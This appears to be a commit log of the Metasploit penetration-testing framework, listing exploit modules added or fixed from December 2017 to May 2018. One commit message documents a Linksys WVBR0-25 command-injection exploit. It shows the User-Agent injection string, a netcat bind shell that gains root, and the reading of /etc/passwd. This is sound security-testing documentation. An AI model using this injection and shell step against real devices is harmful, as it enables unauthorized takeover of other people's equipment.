a74b2b5716
Land #9970 , final update to Drupalgeddon 2
2018-05-04 09:40:31 -05:00
935fa6414e
Land #9968 , second round of Drupalgeddon 2 updates
2018-05-04 09:38:34 -05:00
38465e69a8
Land #8795 , Added CVE-2016-0040 Windows Privilege Escalation
...
Merge branch 'land-8795' into upstream-master
2018-05-04 09:38:28 -05:00
8739befa70
Land #9821 , osCommerce 2.3.4.1 - Remote Code Execution
2018-05-03 09:21:02 -07:00
ad33d72e6e
Land #9961 , psexec native upload argument
2018-05-01 14:51:21 -07:00
635f483b42
Land #9881 , cleanup psexec code
2018-05-01 14:51:20 -07:00
c38bca1799
Land #9908 , msfd_rce_remote and msfd_rce_browser
2018-04-30 09:49:50 -05:00
3b8280c33f
Land #9918 , XDebug Unauthenticated OS command execution
2018-04-30 09:42:26 -05:00
009e643ae3
autofilter = false means skip, which is reverse of intuition
2018-04-26 18:08:05 -05:00
188b02d1f5
Land #9937 , enable autofilter on tp-link camera exploit
2018-04-26 16:06:10 -07:00
3b7d2c8177
Land #9853 , Update Linux sock_sendpage local exploit module
2018-04-26 16:06:10 -07:00
492b6003b5
Land #9931 , minor fixes for #9876 (Drupalgeddon 2)
2018-04-26 08:29:59 -07:00
d340ef2632
Land #9876 , Drupalgeddon 2
2018-04-26 08:29:59 -07:00
ab12eb8c50
Land #9924 , Improve debug output in ETERNALBLUE's verify_arch
2018-04-26 08:29:58 -07:00
a44bcff2d8
Land #9756 , Add lastore-daemon D-Bus Privilege Escalation exploit
...
Merge branch 'land-9756' into upstream-master
2018-04-23 11:21:10 -07:00
d2a43d934d
Land # 9247, Add ASUS infosvr Auth Bypass Command Execution exploit
...
Merge branch 'land-9247' into upstream-master
2018-04-23 11:21:10 -07:00
62c6340d70
Land #9794 , Added support for regional dialects
2018-04-06 14:20:42 -07:00
ded6a50883
Land #8539 , ProcessMaker Plugin Upload exploit
2018-04-04 19:06:18 -07:00
ef4fd1dc75
Land #9742 , QNX exploit improvements
2018-04-03 09:13:57 -05:00
10ed6637ed
Land #9782 , CheckCode::Safe for ms_ndproxy
2018-03-30 08:34:52 -07:00
3b87bf5a03
Land #9666 , Add 2017-8917 RCE for Joomla 3.7.0
2018-03-29 09:17:54 -07:00
6108d79dcd
Land #9684 , Adding ManageEngine Application Manager RCE
...
Land #9684
2018-03-27 15:44:50 -07:00
409ae22a7e
Land #9633 , Exodus Wallet Remote Code Execution
...
Land #9633
2018-03-27 15:44:49 -07:00
5b1577e46d
Land #9670 , Gitstack v2.3.10 RCE
...
Land #9670
2018-03-27 14:24:23 -05:00
b870091380
Land #9423 , PSH for jenkins_xstream_deserialize
2018-03-27 14:21:47 -05:00
c56e571b18
Land #9702 exploit for clipbucket
2018-03-27 13:55:43 -05:00
fbee660136
Land #9554 , Eclipse Equinoxe OSGi console RCE
2018-03-07 07:49:31 -08:00
d3b4f91b4c
Land #9671 , missed code from TelnetEnable refactor
2018-03-05 15:29:21 -08:00
2731b91036
Land #9658 spelling and grammar fixes
2018-03-05 07:42:48 -08:00
e57a1fbd43
Land #9650 netgear telnetenable exploit
2018-03-05 07:42:48 -08:00
3fd2862f76
Land #9639 , multi/handler exit on disabled handler
...
If DisablePayloadHandler is set, abort instead of hanging.
2018-03-01 07:48:02 -08:00
667cc5bcca
Land #9653 , fix Y2k38 issue (until Jan 1, 2038)
2018-03-01 09:28:11 -06:00
0a5e9d922f
Land #9601 , ms17_010_eternalblue reliability fixes
2018-02-23 08:31:02 -08:00
ac6fede928
Land #9441 , Create exploit for AsusWRT LAN RCE
...
Merge branch 'land-9441' into upstream-master
2018-02-23 08:31:01 -08:00
4e8fe54c6c
Land #9524 , prefer 'shell' channels over 'exec' channels for ssh CommandStream
2018-02-22 08:27:36 -08:00
40220b5ab6
Land #9594 , CloudMe Sync v1.10.9 Buffer Overflow
2018-02-22 08:27:35 -08:00
72cb9f358e
Land #9561 , Disk Savvy Enterprise v10.4.18 built-in server buffer overflow
2018-02-22 08:27:34 -08:00
d2c203bcb9
Lands #9504 , MagniComp SysInfo privilege escalation
2018-02-20 09:24:13 -06:00
37cb2d77e7
Land #9422 abrt race condition priv esc on linux
2018-02-12 11:55:21 -06:00
6c3168c541
Land #9536 , Add Ubuntu notes to documentation
2018-02-12 11:55:19 -06:00
73bcec5d11
Land #9408 , Add Juju-run Agent Privilege Escalation module (CVE-2017-9232)
2018-02-12 11:55:19 -06:00
090f7c8bd6
Land #9467 linux priv esc against glibc origin
2018-02-12 11:55:19 -06:00
cd7187023c
Land #9469 linux local exploit for glibc ld audit
2018-02-12 11:55:18 -06:00
b696665adc
Land #9478 , Improve Dup Scout BOF exploit
2018-02-08 10:25:39 -06:00
6c350be24e
Land #9473 , new MS17-010 aux and exploit modules
2018-02-02 11:32:40 -06:00
016af01fd8
Land #9399 a linux priv esc against apport and abrt
2018-02-02 11:32:29 -06:00
64746d8325
Land # 9407, Add BMC Server Automation RSCD Agent RCE exploit module
...
Merge branch 'land-9407' into upstream-master
2018-02-01 11:23:59 -06:00
4fa68f29d9
Land #9457 , Dup Scout Enterprise v10.4.16 - Import Command Buffer Overflow
2018-02-01 11:23:26 -06:00
395320ba97
Land #9379 , Oracle Weblogic RCE exploit and documentation
2018-01-26 18:08:56 -06:00
a87ae41d81
Land #9446 , Post API fix for setuid_nmap
2018-01-26 18:08:47 -06:00
2ea9ab2625
Land #9416 , Sync Breeze Enterprise 9.5.16 Import Command buffer overflow
...
Merge branch 'land-9416' into upstream-master
2018-01-24 17:13:16 -06:00
a136841794
Land #9114 , Add module for Kaltura <= 13.1.0 RCE (CVE-2017-14143)
...
Merge branch 'land-9114' into upstream-master
2018-01-24 17:13:00 -06:00
5ec3da843e
Land #9349 , GoAhead LD_PRELOAD CGI Module
2018-01-24 17:12:47 -06:00
294a8e0ada
Land #9413 , Expand the number of class names searched when checking for an exploitable JMX server
2018-01-24 17:12:43 -06:00
512192d3b0
Land #9267 , Add targets to sshexec
2018-01-24 17:12:12 -06:00
2f9eebe28b
remove plugin dir
2018-01-15 14:48:59 +01:00
488f27bf76
Small Typo
2018-01-12 07:05:30 -05:00
e6c4fb1dab
Land #9269 , Add a new target for Sync Breeze Enterprise GET BoF
...
Land #9269
2018-01-11 16:54:23 -06:00
f395e07fc6
Land #9269 , add new target for Sync Breeze Enterprise GET BoF
...
Land #9269
2018-01-11 16:53:02 -06:00
6510ee53bc
Land #9204 , Add exploit for Samsung SRN-1670D (CVE-2017-16524)
...
Land #9204
2018-01-10 20:15:29 -06:00
18c179a091
Update module and add documentation
...
This updates the module to pass:
* msftidy
* Ruby style guidelines
* Proper usage of Metasploit API
* Mostly other cosmetic fixes
A documentation is also added.
2018-01-10 20:13:42 -06:00
7e2c7837e5
Land #9325 , Add CVE-2017-6090 phpCollab 2.5.1 file upload exploit module
...
Land #9325
2018-01-10 17:39:50 -06:00
b1f3f471f3
Update phpcollab_upload_exec code (also module documentation)
2018-01-10 17:38:52 -06:00
dd737c3bc8
Land #9317 , remove multiple deprecated modules
...
Land #9317
The following modules are replaced by the following:
auxiliary/scanner/discovery/udp_probe
is replaced by:
auxiliary/scanner/discovery/udp_sweep
exploit/unix/webapp/wp_ninja_forms_unauthenticated_file_upload
is replaced by:
exploit/multi/http/wp_ninja_forms_unauthenticated_file_upload
exploit/windows/misc/regsvr32_applocker_bypass_server
is replaced by:
exploits/multi/script/web_delivery
2018-01-10 15:47:20 -06:00
8d77f35b16
Land #9373 , Add LabF nfsAxe FTP Client 3.7 Stack Buffer Overflow
...
Land #9373
2018-01-09 22:40:50 -06:00
25280e3319
Update labf_nfsaxe and module documentation
2018-01-09 22:39:40 -06:00
777e383568
Land #9377 , Add HPE iMC dbman RestoreDBase Unauthenticated RCE exploit
...
Land #9377
2018-01-09 13:56:53 -06:00
a0c9cdd73d
Land #9376 , Add HPE iMC dbman RestartDB Unauthenticated RCE exploit
...
Land #9376
2018-01-09 13:28:03 -06:00
d138f1508c
Land #9340 , Add exploit for Commvault Remote Command Injection
...
Land #9340
2018-01-07 12:17:26 -06:00
ff1806ef5f
Update labf_nfsaxe.rb
2018-01-07 16:46:06 +00:00
a69f275a39
Update labf_nfsaxe.rb
2018-01-05 21:14:47 +00:00
c819aebc76
Add files via upload
2018-01-05 21:11:21 +00:00
e797ca4781
Add files via upload
2018-01-05 21:00:47 +00:00
aca76e2a4e
Update labf_nfsaxe.rb
2018-01-05 20:58:36 +00:00
2643acbc25
Update labf_nfsaxe.rb
2018-01-05 20:55:49 +00:00
b29710c66b
Add files via upload
2018-01-05 20:47:27 +00:00
94a1198485
Update labf_nfsaxe.rb
2018-01-05 20:41:49 +00:00
b97785c7a9
Update labf_nfsaxe.rb
2018-01-05 18:46:33 +00:00
e7946549d7
Update labf_nfsaxe.rb
2018-01-05 18:31:40 +00:00
006514864b
Add HPE iMC dbman RestoreDBase Unauthenticated RCE exploit
2018-01-05 11:28:48 +00:00
52a5fc9e0a
Add HPE iMC dbman RestartDB Unauthenticated RCE exploit
2018-01-05 11:28:14 +00:00
a3fb8b6619
Update labf_nfsaxe.rb
2018-01-04 20:55:38 +00:00
e5bb4bf057
Add files via upload
2018-01-04 20:26:28 +00:00
65f444ddcc
land #9362 exploit for pfsense graph injection
2018-01-04 14:35:52 -05:00
c9d6d0a7a7
-51
2018-01-04 12:25:31 -06:00
366a20a4a4
Fix #9215 , minor style nitpick
2018-01-03 23:11:51 -06:00
520e890520
Land #8581 , VMware Workstation ALSA Config File Local Privilege Escalation
2018-01-03 21:35:57 -06:00
b8dde2e650
Land #9360 , Ayukov NFTP FTP client buffer overflow vulnerability
...
Land #9360
2018-01-03 20:56:12 -06:00
04cf3017c0
Update ayukov_nftp exploit and module documentation
2018-01-03 20:52:57 -06:00
c3f10c1d57
Land #9336 , Linksys WVBR0-25 exploit
2018-01-03 18:13:44 -06:00
a5fa63405f
Land #9206 , Add Xplico RCE exploit module
2018-01-03 16:02:51 -06:00
a1d43c8f33
Land #9215 , new Drupageddon vector
2018-01-03 14:45:32 -06:00
16d709f180
changes+filedropper
2018-01-03 14:09:30 -06:00
8f0e41e159
requested changes
2018-01-01 17:30:43 -06:00
c47d09717d
pfsense graph sploit
2018-01-01 03:18:51 -06:00
67357e316b
Update ayukov_nftp.rb
2017-12-31 17:48:23 +00:00
10b2833e7c
Update ayukov_nftp.rb
2017-12-31 17:00:17 +00:00
21717ae0a2
Create ayukov_nftp.rb
2017-12-31 15:43:16 +00:00
c153788424
Remove sleeps
2017-12-30 15:20:56 +00:00
3516305517
land #9191 an exploit against HP LoadRunner magentproc
2017-12-29 16:35:43 -05:00
4dacc70b9a
slight updates to magentproc docs
2017-12-29 16:35:12 -05:00
b698095c49
slight updates to magentproc docs
2017-12-29 16:30:32 -05:00
e614e9b732
Land #9268 , Update DiskBoss Module (EDB 42395)
2017-12-28 16:39:26 -06:00
e6de25d63b
Land #9316 Cambium modules and mixins, tx @juushya
...
These cover several of the CVEs mentioned in
https://blog.rapid7.com/2017/12/19/r7-2017-25-cambium-epmp-and-cnpilot-multiple-vulnerabilities/
2017-12-26 12:39:51 -06:00
8b0f2214b1
few more updates
2017-12-23 03:04:11 +05:30
038119d9df
Use of get_cookies_parsed, changing dirs, marking deprecated in 2 mods, more
2017-12-23 00:14:27 +05:30
ec7625af9f
Damn spaces...
2017-12-22 10:57:11 -05:00
2b33b88fa4
Damn spaces
2017-12-22 10:54:31 -05:00
e088c95a99
Module Cleanup
2017-12-22 10:51:01 -05:00
b29948412e
Correct permissions, fixing warning
2017-12-22 07:27:11 -08:00
d657a9dc53
Commvault Remote Command Injection
2017-12-22 10:04:13 -05:00
3dfb836768
Ranking upgrade and uses agent key instead of manually setting user-agent in headers
2017-12-21 23:10:26 -06:00
b31ac73996
Ensure vulnerability check cannot false positive with the power of runtime randomness
2017-12-21 22:53:46 -06:00
caae33b417
Land #9170 , Linux UDF for mysql_udf_payload
2017-12-21 20:48:24 -06:00
8c3836cc88
Removed msf/core require statement and extraneous debug message
2017-12-21 19:55:56 -06:00
a86abb0297
Implemented get_cookies_parsed
2017-12-22 05:36:36 +05:30
2ee42e1433
Adds exploit module for CVE-2017-17411
...
This module is for exploiting vulnerable Linksys WVBR0-25 wireless video bridges using CVE-2017-17411. The vuln in question involves a command injection due to improper sanitization of the User-Agent header. The module makes an initial GET request to the root of the web server and checks the result for a vulnerable firmware version. If vulnerable, it makes a subsequent GET request with the User-Agent set to `";<payload> #`. This can be verified against WVBR0-25 devices running firmware < 1.0.41.
Example console output:
```
msf > use exploit/linux/http/linksys_wvbr0_user_agent_exec_noauth
msf exploit(linksys_wvbr0_user_agent_exec_noauth) > info
Name: Linksys WVBR0-25 User-Agent Command Execution
Module: exploit/linux/http/linksys_wvbr0_user_agent_exec_noauth
Platform: Unix
Privileged: Yes
License: Metasploit Framework License (BSD)
Rank: Normal
Disclosed: 2017-12-13
Provided by:
HeadlessZeke
Available targets:
Id Name
-- ----
0 Automatic
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOST yes The target address
RPORT 80 yes The target port
SSL false no Negotiate SSL/TLS for outgoing connections
VHOST no HTTP server virtual host
Payload information:
Space: 1024
Description:
The Linksys WVBR0-25 Wireless Video Bridge, used by DirecTV to
connect wireless Genie cable boxes to the Genie DVR, is vulnerable
to OS command injection in version < 1.0.41 of the web management
portal via the User-Agent header. Authentication is not required to
exploit this vulnerability.
References:
http://cvedetails.com/cve/2017-17411/
http://www.zerodayinitiative.com/advisories/ZDI-17-973
https://www.thezdi.com/blog/2017/12/13/remote-root-in-directvs-wireless-video-bridge-a-tale-of-rage-and-despair
msf exploit(linksys_wvbr0_user_agent_exec_noauth) > show payloads
Compatible Payloads
===================
Name Disclosure Date Rank Description
---- --------------- ---- -----------
cmd/unix/bind_netcat normal Unix Command Shell, Bind TCP (via netcat)
cmd/unix/generic normal Unix Command, Generic Command Execution
cmd/unix/reverse_netcat normal Unix Command Shell, Reverse TCP (via netcat)
msf exploit(linksys_wvbr0_user_agent_exec_noauth) > set payload cmd/unix/bind_netcat
payload => cmd/unix/bind_netcat
msf exploit(linksys_wvbr0_user_agent_exec_noauth) > set RHOST 10.0.0.104
RHOST => 10.0.0.104
msf exploit(linksys_wvbr0_user_agent_exec_noauth) > exploit
[*] 10.0.0.104:80 - Trying to access the device ...
[*] Started bind handler
[*] 10.0.0.104:80 - Exploiting...
[*] Command shell session 1 opened (10.0.0.109:40541 -> 10.0.0.104:4444) at 2017-12-21 17:09:54 -0600
id
uid=0(root) gid=0(root)
^C
Abort session 1? [y/N] y
[*] 10.0.0.104 - Command shell session 1 closed. Reason: User exit
msf exploit(linksys_wvbr0_user_agent_exec_noauth) > set payload cmd/unix/generic
payload => cmd/unix/generic
msf exploit(linksys_wvbr0_user_agent_exec_noauth) > set cmd cat /etc/passwd
cmd => cat /etc/passwd
msf exploit(linksys_wvbr0_user_agent_exec_noauth) > exploit
[*] 10.0.0.104:80 - Trying to access the device ...
[*] 10.0.0.104:80 - Exploiting...
[+] 10.0.0.104:80 - Command sent successfully
[*] 10.0.0.104:80 - Command output: root❌ 0:0::/:/bin/sh nobody❌ 99:99:Nobody:/:/bin/nologin sshd❌ 22:22::/var/empty:/sbin/nologin admin❌ 1000:1000:Admin User:/tmp/home/admin:/bin/sh quagga❌ 1001:1001:Quagga
[*] Exploit completed, but no session was created.
msf exploit(linksys_wvbr0_user_agent_exec_noauth) >
```
2017-12-21 17:44:35 -06:00
5dfb5d581a
Switch get_cookies to get_cookies_parsed
...
Am I doing it right? See #9333
2017-12-21 09:00:56 -06:00
86ce3c8781
Made suggested changes and added documentation
2017-12-20 15:54:16 -05:00
210f137b7b
Merge branch 'upstream-master' into land-9296-
2017-12-20 12:07:53 -06:00
ce457db1e3
fixed spaces at EOL
2017-12-20 09:24:30 -05:00
d6024277fc
fixed missing quote
2017-12-20 09:03:32 -05:00
139afe45a9
Add phpCollab 2.5.1 exploit module
2017-12-20 08:36:58 -05:00
a4098803b3
Remove OSVDB reference
2017-12-20 13:10:42 +01:00
a2c5cc0ffb
Remove old deprecated modules
2017-12-19 07:56:16 -08:00
7b386ea2c8
Fix msftidy warnings wrt Set-Cookie
2017-12-19 06:58:23 -08:00
85350a9645
Add Rapid7 blog references
2017-12-18 17:11:47 -06:00
ae4edd65e1
Hard wrap descriptions
2017-12-18 17:03:13 -06:00
27a324237b
Initial commit for Cambium issues from @juushya
...
Note, these will trigger a bunch of WARNING msftidy messages for setting
cookies directly. This is on purpose.
2017-12-18 16:32:55 -06:00
e9b9c80841
Fix #9307 , credit to @r0610205
2017-12-18 03:55:01 -06:00
76823e9fe6
Land #9183 , Jenkins Groovy XStream RCE
2017-12-18 03:38:27 -06:00
d3638d0487
Land #9154 , Tuleap PHP object injection exploit
2017-12-18 03:19:42 -06:00
0e2a158abd
Fix global var $is_check (make ivar @is_check)
2017-12-18 03:15:33 -06:00
8e4b007edc
Move verify_arch to dcerpc_getarch
...
We can use this code elsewhere, such as the MS17-010 scanner.
2017-12-14 02:08:25 -06:00
c6a2ae2551
Land #9248 , Add wd_mycloud_multiupload_upload exploit
2017-12-13 18:51:02 -06:00
125a079fa9
add cve reference
2017-12-13 18:50:21 -06:00
b99663fb6c
Bring #9282 up to date with upstream-master
2017-12-13 13:16:30 -06:00
37514eec17
Land #9234 , Add exploit for ClickJacking vuln for pfSense
...
Land #9234
2017-12-12 14:56:21 -06:00
c7019e5aee
Only load files once
2017-12-12 14:54:49 -06:00
c4e20e01e3
iOS meterpreter
2017-12-12 23:23:21 +08:00
b335cacfc1
Update wp_slideshowgallery_upload.rb
...
Variable on line 67 needs to be changed to "user" from "username" which was undefined and causing error during exploit execution.
[-] Exploit failed: NameError undefined local variable or method `username' for #<Msf::Modules::Mod6578706c6f69742f756e69782f7765626170702f77705f736c69646573686f7767616c6c6572795f75706c6f6164::MetasploitModule:0x0055c61ab093f8>
After changing the incorrect variable name from "username" to "user", the exploit completes.
2017-12-12 00:33:28 -05:00
d79b0ad981
Land #9286 , Advantech WebAccess webvrpcs BOF RCE
2017-12-12 00:25:56 -05:00
e7a2dd2e71
fixed email
2017-12-11 23:20:46 -06:00
26e2eb8f1a
Changed to good ranking
2017-12-11 23:14:36 -06:00
9a6c54840b
Minor tweak to use vprint...
2017-12-11 16:48:47 -06:00
f8977ed72c
added some fixes
2017-12-11 11:34:17 -06:00
e91830efe7
Add Dup Scout Enterprise login buffer overflow
2017-12-09 02:20:05 -06:00
604b949e23
Updated per review comments.
2017-12-08 10:42:43 -06:00
34ef650b0d
fixed up msftidy, opps.
2017-12-07 17:03:39 -06:00
75a82b3fe7
Advantech WebAccess webvrpcs ViewDll1 Stack-based Buffer Overflow Remote Code Execution Vulnerability
2017-12-07 16:34:26 -06:00
William Vu
bwatters-r7
Jacob Robles
Jeffrey Martin
Aaron Soto
Brent Cook
Chris Higgins
Wei Chen
h00die
Sonny Gonzalez
Pearce Barry
Christian Mehlmauer
Agahlot
Daniel Teixeira
Brendan Coles
wetw0rk
dmohanty-r7
Tod Beardsley
juushya
b0yd
Jon Hart
headlesszeke
Nick Marcoccio
EgiX
Tim
securekomodo
Matthew Kienow
mr_me